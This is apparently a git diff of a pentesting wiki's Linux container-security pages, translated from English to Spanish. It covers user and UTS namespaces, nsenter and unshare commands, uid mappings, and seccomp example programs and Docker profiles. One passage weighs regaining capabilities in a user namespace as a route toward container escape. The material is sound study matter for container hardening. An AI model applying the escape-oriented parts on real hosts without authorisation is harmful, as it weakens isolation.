2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. 2. Se pueden establecer asignaciones de ID entre los IDs de usuario y grupo en el nuevo espacio de nombres y aquellos en el espacio de nombres padre (o host). Esto **permite que los procesos en el nuevo espacio de nombres tengan privilegios y propiedad correspondientes a los IDs de usuario y grupo en el espacio de nombres padre**. Sin embargo, las asignaciones de ID pueden restringirse a rangos y subconjuntos específicos de IDs, lo que permite un control detallado sobre los privilegios otorgados a los procesos en el nuevo espacio de nombres.
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. 3. Dentro de un espacio de nombres de usuario, **los procesos pueden tener privilegios de root completos (UID 0) para operaciones dentro del espacio de nombres**, mientras que aún tienen privilegios limitados fuera del espacio de nombres. Esto permite que **los contenedores se ejecuten con capacidades similares a root dentro de su propio espacio de nombres sin tener privilegios de root completos en el sistema host**.
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. 4. Los procesos pueden moverse entre espacios de nombres utilizando la llamada al sistema `setns()` o crear nuevos espacios de nombres utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWUSER`. Cuando un proceso se mueve a un nuevo espacio de nombres o crea uno, comenzará a usar las asignaciones de ID de usuario y grupo asociadas con ese espacio de nombres.
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Espacios de Nombres
#### CLI #### CLI
```bash ```bash
sudo unshare -U [--mount-proc] /bin/bash sudo unshare -U [--mount-proc] /bin/bash
``` ```
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (Identificación de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consequence**: 2. **Consecuencia**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falla al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` en sí se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
``` ```
Para usar el espacio de nombres de usuario, el daemon de Docker debe iniciarse con **`--userns-remap=default`** (En ubuntu 14.04, esto se puede hacer modificando `/etc/default/docker` y luego ejecutando `sudo service docker restart`)
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) ### &#x20;Verifica en qué espacio de nombres está tu proceso
### &#x20;Check which namespace is your process in
```bash ```bash
ls -l /proc/self/ns/user ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
``` ```
Es posible verificar el mapa de usuarios desde el contenedor de docker con:
It's possible to check the user map from the docker container with:
```bash ```bash
cat /proc/self/uid_map cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host 0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host 0 231072 65536 --> Root is 231072 userid in host
``` ```
O desde el host con:
Or from the host with:
```bash ```bash
cat /proc/<pid>/uid_map cat /proc/<pid>/uid_map
``` ```
### Encontrar todos los espacios de nombres de usuario
### Find all User namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace # Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number> sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
``` ```
### Entrar en un espacio de nombres de usuario
### Enter inside a User namespace
```bash ```bash
nsenter -U TARGET_PID --pid /bin/bash nsenter -U TARGET_PID --pid /bin/bash
``` ```
Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/user`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). ### Crear un nuevo espacio de nombres de usuario (con mapeos)
### Create new User namespace (with mappings)
```bash ```bash
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user] unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
``` ```
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
``` ```
### Recuperando Capacidades
### Recovering Capabilities En el caso de los espacios de nombres de usuario, **cuando se crea un nuevo espacio de nombres de usuario, el proceso que entra en el espacio de nombres recibe un conjunto completo de capacidades dentro de ese espacio de nombres**. Estas capacidades permiten al proceso realizar operaciones privilegiadas como **montar** **sistemas de archivos**, crear dispositivos o cambiar la propiedad de archivos, pero **solo dentro del contexto de su espacio de nombres de usuario**.
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. Por ejemplo, cuando tienes la capacidad `CAP_SYS_ADMIN` dentro de un espacio de nombres de usuario, puedes realizar operaciones que normalmente requieren esta capacidad, como montar sistemas de archivos, pero solo dentro del contexto de tu espacio de nombres de usuario. Cualquier operación que realices con esta capacidad no afectará al sistema host ni a otros espacios de nombres.
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
> [!WARNING] > [!WARNING]
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. > Por lo tanto, incluso si obtener un nuevo proceso dentro de un nuevo espacio de nombres de usuario **te dará todas las capacidades de vuelta** (CapEff: 000001ffffffffff), en realidad **solo puedes usar las relacionadas con el espacio de nombres** (montar, por ejemplo) pero no todas. Así que, esto por sí solo no es suficiente para escapar de un contenedor Docker.
```bash ```bash
# There are the syscalls that are filtered after changing User namespace with: # There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash unshare -UmCpf bash
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
Probando: 0x140 . . . Error Probando: 0x140 . . . Error
Probando: 0x141 . . . Error Probando: 0x141 . . . Error
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,77 +2,67 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. Un namespace UTS (UNIX Time-Sharing System) es una característica del núcleo de Linux que proporciona **aislamiento de dos identificadores del sistema**: el **nombre de host** y el **nombre de dominio NIS** (Network Information Service). Este aislamiento permite que cada namespace UTS tenga su **propio nombre de host y nombre de dominio NIS** independientes, lo cual es particularmente útil en escenarios de contenedorización donde cada contenedor debe aparecer como un sistema separado con su propio nombre de host.
### How it works: ### Cómo funciona:
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. 1. Cuando se crea un nuevo namespace UTS, comienza con una **copia del nombre de host y del nombre de dominio NIS de su namespace padre**. Esto significa que, al momento de la creación, el nuevo namespace **comparte los mismos identificadores que su padre**. Sin embargo, cualquier cambio posterior en el nombre de host o en el nombre de dominio NIS dentro del namespace no afectará a otros namespaces.
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. 2. Los procesos dentro de un namespace UTS **pueden cambiar el nombre de host y el nombre de dominio NIS** utilizando las llamadas al sistema `sethostname()` y `setdomainname()`, respectivamente. Estos cambios son locales al namespace y no afectan a otros namespaces o al sistema host.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. 3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()` o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWUTS`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a usar el nombre de host y el nombre de dominio NIS asociados con ese namespace.
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Namespaces
#### CLI #### CLI
```bash ```bash
sudo unshare -u [--mount-proc] /bin/bash sudo unshare -u [--mount-proc] /bin/bash
``` ```
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consequence**: 2. **Consecuencia**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` en sí se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
``` ```
### &#x20;Verifica en qué namespace está tu proceso
### &#x20;Check which namespace is your process in
```bash ```bash
ls -l /proc/self/ns/uts ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
``` ```
### Encontrar todos los namespaces UTS
### Find all UTS namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace # Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number> sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
``` ```
### Entrar dentro de un namespace UTS
### Enter inside an UTS namespace
```bash ```bash
nsenter -u TARGET_PID --pid /bin/bash nsenter -u TARGET_PID --pid /bin/bash
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them. **Seccomp**, que significa modo de Computación Segura, es una característica de seguridad del **núcleo de Linux diseñada para filtrar llamadas al sistema**. Restringe los procesos a un conjunto limitado de llamadas al sistema (`exit()`, `sigreturn()`, `read()`, y `write()` para descriptores de archivo ya abiertos). Si un proceso intenta llamar a cualquier otra cosa, es terminado por el núcleo usando SIGKILL o SIGSYS. Este mecanismo no virtualiza recursos, sino que aísla el proceso de ellos.
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`. Hay dos formas de activar seccomp: a través de la llamada al sistema `prctl(2)` con `PR_SET_SECCOMP`, o para núcleos de Linux 3.17 y superiores, la llamada al sistema `seccomp(2)`. El método más antiguo de habilitar seccomp escribiendo en `/proc/self/seccomp` ha sido desaprobado a favor de `prctl()`.
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux. Una mejora, **seccomp-bpf**, añade la capacidad de filtrar llamadas al sistema con una política personalizable, utilizando reglas de Berkeley Packet Filter (BPF). Esta extensión es aprovechada por software como OpenSSH, vsftpd, y los navegadores Chrome/Chromium en Chrome OS y Linux para un filtrado de syscall flexible y eficiente, ofreciendo una alternativa a la ahora no soportada systrace para Linux.
### **Original/Strict Mode** ### **Modo Original/Estricto**
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
En este modo, Seccomp **solo permite las syscalls** `exit()`, `sigreturn()`, `read()` y `write()` a descriptores de archivo ya abiertos. Si se realiza cualquier otra syscall, el proceso es terminado usando SIGKILL.
```c:seccomp_strict.c ```c:seccomp_strict.c
#include <fcntl.h> #include <fcntl.h>
#include <stdio.h> #include <stdio.h>
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int output = open("output.txt", O_WRONLY); int output = open("output.txt", O_WRONLY);
const char *val = "test"; const char *val = "test";
//enables strict seccomp mode //enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n"); printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//This is allowed as the file was already opened //This is allowed as the file was already opened
printf("Writing to an already open file...\n"); printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1); write(output, val, strlen(val)+1);
//This isn't allowed //This isn't allowed
printf("Trying to open file for reading...\n"); printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY); int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n"); printf("You will not see this message--the process will be killed first\n");
} }
``` ```
### Seccomp-bpf ### Seccomp-bpf
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. Este modo permite **filtrar llamadas al sistema utilizando una política configurable** implementada mediante reglas de Berkeley Packet Filter.
```c:seccomp_bpf.c ```c:seccomp_bpf.c
#include <seccomp.h> #include <seccomp.h>
#include <unistd.h> #include <unistd.h>
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
void main(void) { void main(void) {
/* initialize the libseccomp context */ /* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* allow exiting */ /* allow exiting */
printf("Adding rule : Allow exit_group\n"); printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow getting the current pid */ /* allow getting the current pid */
//printf("Adding rule : Allow getpid\n"); //printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
printf("Adding rule : Deny getpid\n"); printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */ /* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n"); printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
/* allow writing up to 512 bytes to fd 1 */ /* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1), SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512)); SCMP_A2(SCMP_CMP_LE, 512));
/* if writing to any other fd, return -EBADF */ /* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n"); printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1)); SCMP_A0(SCMP_CMP_NE, 1));
/* load and enforce the filters */ /* load and enforce the filters */
printf("Load rules and enforce \n"); printf("Load rules and enforce \n");
seccomp_load(ctx); seccomp_load(ctx);
seccomp_release(ctx); seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like //Get the getpid is denied, a weird number will be returned like
//this process is -9 //this process is -9
printf("this process is %d\n", getpid()); printf("this process is %d\n", getpid());
} }
``` ```
## Seccomp en Docker
## Seccomp in Docker **Seccomp-bpf** es compatible con **Docker** para restringir las **syscalls** de los contenedores, disminuyendo efectivamente el área de superficie. Puedes encontrar las **syscalls bloqueadas** por **defecto** en [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) y el **perfil seccomp por defecto** se puede encontrar aquí [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
Puedes ejecutar un contenedor de docker con una política de **seccomp** **diferente** con:
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
You can run a docker container with a **different seccomp** policy with:
```bash ```bash
docker run --rm \ docker run --rm \
-it \ -it \
--security-opt seccomp=/path/to/seccomp/profile.json \ --security-opt seccomp=/path/to/seccomp/profile.json \
hello-world hello-world
``` ```
Si quieres, por ejemplo, **prohibir** que un contenedor ejecute alguna **syscall** como `uname`, podrías descargar el perfil predeterminado de [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) y simplemente **eliminar la cadena `uname` de la lista**.\
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ Si quieres asegurarte de que **algún binario no funcione dentro de un contenedor docker**, podrías usar strace para listar las syscalls que el binario está utilizando y luego prohibirlas.\
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ En el siguiente ejemplo se descubren las **syscalls** de `uname`:
In the following example the **syscalls** of `uname` are discovered:
```bash ```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
``` ```
> [!NOTE] > [!NOTE]
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs > Si estás usando **Docker solo para lanzar una aplicación**, puedes **perfilarla** con **`strace`** y **solo permitir las syscalls** que necesita
### Example Seccomp policy ### Ejemplo de política Seccomp
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) [Ejemplo de aquí](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
To illustrate Seccomp feature, lets create a Seccomp profile disabling “chmod” system call as below.
Para ilustrar la función Seccomp, creemos un perfil Seccomp deshabilitando la llamada al sistema “chmod” como se muestra a continuación.
```json ```json
{ {
"defaultAction": "SCMP_ACT_ALLOW", "defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [ "syscalls": [
{ {
"name": "chmod", "name": "chmod",
"action": "SCMP_ACT_ERRNO" "action": "SCMP_ACT_ERRNO"
} }
] ]
} }
``` ```
En el perfil anterior, hemos establecido la acción predeterminada en "permitir" y creado una lista negra para deshabilitar "chmod". Para ser más seguros, podemos establecer la acción predeterminada en "rechazar" y crear una lista blanca para habilitar selectivamente las llamadas al sistema.\
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ La siguiente salida muestra la llamada "chmod" devolviendo un error porque está deshabilitada en el perfil seccomp.
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
```bash ```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted chmod: /etc/hosts: Operation not permitted
``` ```
La siguiente salida muestra el “docker inspect” mostrando el perfil:
Following output shows the “docker inspect” displaying the profile:
```json ```json
"SecurityOpt": [ "SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
] ]
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,18 @@
## What is Distroless ## What is Distroless
